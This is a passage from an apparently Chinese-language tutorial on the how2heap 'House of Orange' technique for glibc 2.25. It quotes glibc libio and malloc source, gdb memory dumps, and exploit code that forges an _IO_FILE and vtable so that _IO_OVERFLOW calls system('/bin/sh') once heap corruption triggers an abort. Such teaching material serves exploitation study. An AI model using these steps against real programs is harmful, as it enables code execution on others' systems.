0x7ffff7dd2530 <_IO_2_1_stderr_+16>: 0x00007ffff7dd25a3 0x00007ffff7dd25a3
0x7ffff7dd2540 <_IO_2_1_stderr_+32>: 0x00007ffff7dd25a3 0x00007ffff7dd25a3
0x7ffff7dd2550 <_IO_2_1_stderr_+48>: 0x00007ffff7dd25a3 0x00007ffff7dd25a3
0x7ffff7dd2560 <_IO_2_1_stderr_+64>: 0x00007ffff7dd25a4 0x0000000000000000
0x7ffff7dd2570 <_IO_2_1_stderr_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2580 <_IO_2_1_stderr_+96>: 0x0000000000000000 0x00007ffff7dd2600

这里,会顺便涉及到 glibc 的异常处理.

一般在出现内存错误时,会调用函数 malloc_printerr() 打印出错信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
[...]
if ((action & 5) == 5)
__libc_message (action & 2, "%s\n", str);
else if (action & 1)
{
char buf[2 * sizeof (uintptr_t) + 1];

buf[sizeof (buf) - 1] = '\0';
char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
while (cp > buf)
*--cp = '0';

__libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
__libc_argv[0] ? : "<unknown>", str, cp);
}
else if (action & 2)
abort ();
}

当调用 __libc_message

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// sysdeps/posix/libc_fatal.c
/* Abort with an error message. */
void
__libc_message (int do_abort, const char *fmt, ...)
{
[...]
if (do_abort)
{
BEFORE_ABORT (do_abort, written, fd);

/* Kill the application. */
abort ();
}
}

do_abort 调用 fflush,即 _IO_flush_all_lockp

1
2
3
4
5
6
7
8
// stdlib/abort.c
#define fflush(s) _IO_flush_all_lockp (0)

if (stage == 1)
{
++stage;
fflush (NULL);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// libio/genops.c
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;

#ifdef _IO_MTSAFE_IO
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
if (do_lock)
_IO_lock_lock (list_all_lock);
#endif

last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all; // 将其覆盖
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF) // 将其修改为 system 函数
result = EOF;

if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;

if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain; // 指向我们指定的区域
}

#ifdef _IO_MTSAFE_IO
if (do_lock)
_IO_lock_unlock (list_all_lock);
__libc_cleanup_region_end (0);
#endif

return result;
}

_IO_list_all 是一个 _IO_FILE_plus 类型的对象,我们的目的就是将 _IO_list_all 指针改写为一个伪造的指针,它的 _IO_OVERFLOW 指向 system,并且前 8 字节被设置为 ‘/bin/sh’,所以对 _IO_OVERFLOW(fp, EOF) 的调用最终会变成对 system('/bin/sh') 的调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// libio/libioP.h
/* We always allocate an extra word following an _IO_FILE.
This contains a pointer to the function jump table used.
This is for compatibility with C++ streambuf; the word can
be used to smash to a pointer to a virtual function table. */

struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

// libio/libio.h
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

其中有一个指向函数跳转表的指针,_IO_jump_t 的结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// libio/libioP.h
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

伪造 _IO_jump_t 中的 __overflow 为 system 函数的地址,从而达到执行 shell 的目的。

当发生内存错误进入 _IO_flush_all_lockp 后,_IO_list_all 仍然指向 unsorted bin,这并不是一个我们能控制的地址。所以需要通过 fp->_chain 来将 fp 指向我们能控制的地方。所以将 size 字段设置为 0x61,因为此时 _IO_list_all&unsorted_bin-0x10,偏移 0x60 位置上是 smallbins[5]。此时,如果触发一个不适合的 small chunk 分配,malloc 就会将 old top 从 unsorted bin 放回 smallbins[5] 中。而在 _IO_FILE 结构中,偏移 0x60 指向 struct _IO_marker *_markers,偏移 0x68 指向 struct _IO_FILE *_chain,这两个值正好是 old top 的起始地址。这样 fp 就指向了 old top,这是一个我们能够控制的地址。

在将 _IO_OVERFLOW 修改为 system 的时候,有一些条件检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF) // 需要修改为 system 函数
// libio/libio.h

struct _IO_wide_data *_wide_data;

/* Extra data for wide character streams. */
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */

__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;

wchar_t _shortbuf[1];

const struct _IO_jump_t *_wide_vtable;
};

所以这里我们设置 fp->_mode = 0fp->_IO_write_base = (char *) 2fp->_IO_write_ptr = (char *) 3,从而绕过检查。

1
2
3
fp->_mode = 0; // top+0xc0
fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28

然后,就是修改 _IO_jump_t,将其指向 winner:

1
2
3
248     size_t *jump_table = &top[12]; // controlled memory
249 jump_table[3] = (size_t) &winner;
250 *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
PwnLife>  x/30gx p1-0x10+0x400
0x602400: 0x0068732f6e69622f 0x0000000000000061
0x602410: 0x00007ffff7dd1b58 0x00007ffff7dd24f0
0x602420: 0x0000000000000002 0x0000000000000003
0x602430: 0x0000000000000000 0x0000000000000000
0x602440: 0x0000000000000000 0x0000000000000000
0x602450: 0x0000000000000000 0x0000000000000000
0x602460: 0x0000000000000000 0x0000000000000000
0x602470: 0x0000000000000000 0x0000000000400777
0x602480: 0x0000000000000000 0x0000000000000000
0x602490: 0x0000000000000000 0x0000000000000000
0x6024a0: 0x0000000000000000 0x0000000000000000
0x6024b0: 0x0000000000000000 0x0000000000000000
0x6024c0: 0x0000000000000000 0x0000000000000000
0x6024d0: 0x0000000000000000 0x0000000000602460
0x6024e0: 0x0000000000000000 0x0000000000000000
PwnLife> p *((struct _IO_FILE_plus *) 0x602400)
$20 = {
file = {
_flags = 1852400175,
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
_IO_read_end = 0x7ffff7dd1b58 <main_arena+88> "\020@b",
_IO_read_base = 0x7ffff7dd24f0 "",
_IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
_IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 4196215,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x602460
}

最后随意分配一个 chunk,由于 size<= 2*SIZE_SZ,所以会触发 _IO_flush_all_lockp 中的 _IO_OVERFLOW 函数,获得 shell。

1
2
3
4
5
6
7
8
9
10
11
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim)

总结

关于how2heap 中 glibc 2.25的内容就到这里结束了。

关于 glibc 2.26 更多到是一些新版本 glibc 的check的bypass…就不准备再写成文章发出来了。